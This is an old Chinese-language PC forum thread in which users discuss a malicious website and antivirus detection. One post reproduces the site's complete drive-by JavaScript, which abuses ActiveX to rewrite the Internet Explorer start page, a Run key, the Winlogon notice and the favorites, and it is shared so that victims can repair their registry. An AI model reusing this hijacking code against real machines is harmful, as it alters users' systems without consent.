PCDVD數位科技討論區 - 你是駭客嗎???

PCDVD數位科技討論區 (https://www.pcdvd.com.tw/index.php)

- 儲存媒體討論區 (https://www.pcdvd.com.tw/forumdisplay.php?f=20)

- - 你是駭客嗎??? (https://www.pcdvd.com.tw/showthread.php?t=43395)

更...爛網頁, 擺明是放病毒給人抓:mad:
害我朋友家的那台電腦得要系統還原後才能用,
這樣也讓我更不相信IE了, 一定要找套更好的把它換掉

引用:

Originally posted by ZeroBug
更...爛網頁, 擺明是放病毒給人抓:mad:
害我朋友家的那台電腦得要系統還原後才能用,
這樣也讓我更不相信IE了, 一定要找套更好的把它換掉

現在還有娜旦病毒在肆虐,尤其對win2000最為嚴重

http://go1.163.com/bandianxin/

這是我連到上述網頁所出現的畫面...........

應該是有毒沒錯....

那個網站的所謂"病毒"就是下列 script ,應該是沒啥毒啦,只是會改機碼,首頁改成他的站,一開機就跳出訊息為他的站的****,並開啟瀏覽器進入該站.....(不知何時網業的script的權限已大到如此程度...),至於下載的東東有沒有毒小弟就不知道了(沒多的硬碟跟他玩..)
p.s 中獎者可參考下列語法後自行修復被修改的機碼(有點煩就是了...)
另外Pc-cillin2000好像不把它當毒來看,Norton卻會.

\\小弟才學疏淺,有錯煩請見諒//

那個站長"駭人不淺" 的功力原始碼

<SCRIPT>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); //ズ⻌active諷璃
function f(){
try
{
//場宎趙ActiveX 諷璃
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
lou = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1) //潰脤cookie笢岆瘁衄chg腔趼睫揹
{
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//扢离銡擬け蘇＇翋珜
lou.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://bandianxin.home.sohu.com/");

//党蜊ぎ雄笢腔怀⻌楊ぎ雄砐
lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "http://bandianxin.home.sohu.com/");

//扢离蛁聊祥褫載蜊
lou.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000000", "REG_DWORD");

//樓⻌ぎ雄粟堤勤趕遺梓枙
lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "Microsoft芢熱厙桴");

//樓⻌ぎ雄粟堤勤趕遺囀⺍
lou.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ. http://up2001.6to23.com");

//載蜊銡擬け腔梓枙戲
lou.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ.http://up2001.6to23.com");
lou.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "※up⻏璃傑§郅郅蠟腔盓厥ㄐ.http://up2001.6to23.com");

//扢离Cookie
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//賦旰勤蛁聊桶腔紱釬

//參厙桴樓⻌善彶紲標笢
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//潰聆岆祥眒冪湔婓

//⺼彆祥湔婓ㄛ樓⻌蟈諉
AddFavLnk(loc, "圉萸陑⻏璃狟婥", "http://up2001.6to23.com");
//賦旰
}
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout("f()", 40); //隅奀笭葩堍俴
}

init(); </SCRIPT>

引用:

Originally posted by scratch

現在還有娜旦病毒在肆虐,尤其對win2000最為嚴重

據電視報導說,這種病毒會對個人用戶造成損害,在瀏覽網頁時就會中毒,害我現在都不太敢去上別的網站,都在這裡游泳.
我是駭客嗎?不不不,我不是''駭''人的''客'',而是被人''刻''意陷''害''的人.
----------------------------------
螳螂捕蟬,黃雀在後,鹿死誰手,下回分解
----------------------------------
願上帝保佑迷途的羔羊們,帶領它們回到樂土伊甸園吧!!!

不過之後掃毒倒是沒發現有中毒耶.....

引用:

Originally posted by SUSE
不過之後掃毒倒是沒發現有中毒耶.....

因為有即時掃描,所以若對已知的病毒會阻絕.可知現在防毒軟體做的很好,但病毒無所不侵

引用:

Originally posted by settler

據電視報導說,這種病毒會對個人用戶造成損害,在瀏覽網頁時就會中毒,害我現在都不太敢去上別的網站,都在這裡游泳.
我是駭客嗎?不不不,我不是''駭''人的''客'',而是被人''刻''意陷''害''的人.
----------------------------------
螳螂捕蟬,黃雀在後,鹿死誰手,下回分解
----------------------------------
願上帝保佑迷途的羔羊們,帶領它們回到樂土伊甸園吧!!!

更新病毒碼就不用怕了,如pcc的病毒碼要更新到942和掃描引擎5.20以上才可發現有無中毒及防毒,至於諾噸我則不知,但越新越好
像我一個同學他是920病毒碼及5.45的引擎也掃不到,但更新為942就發現敵人(病毒)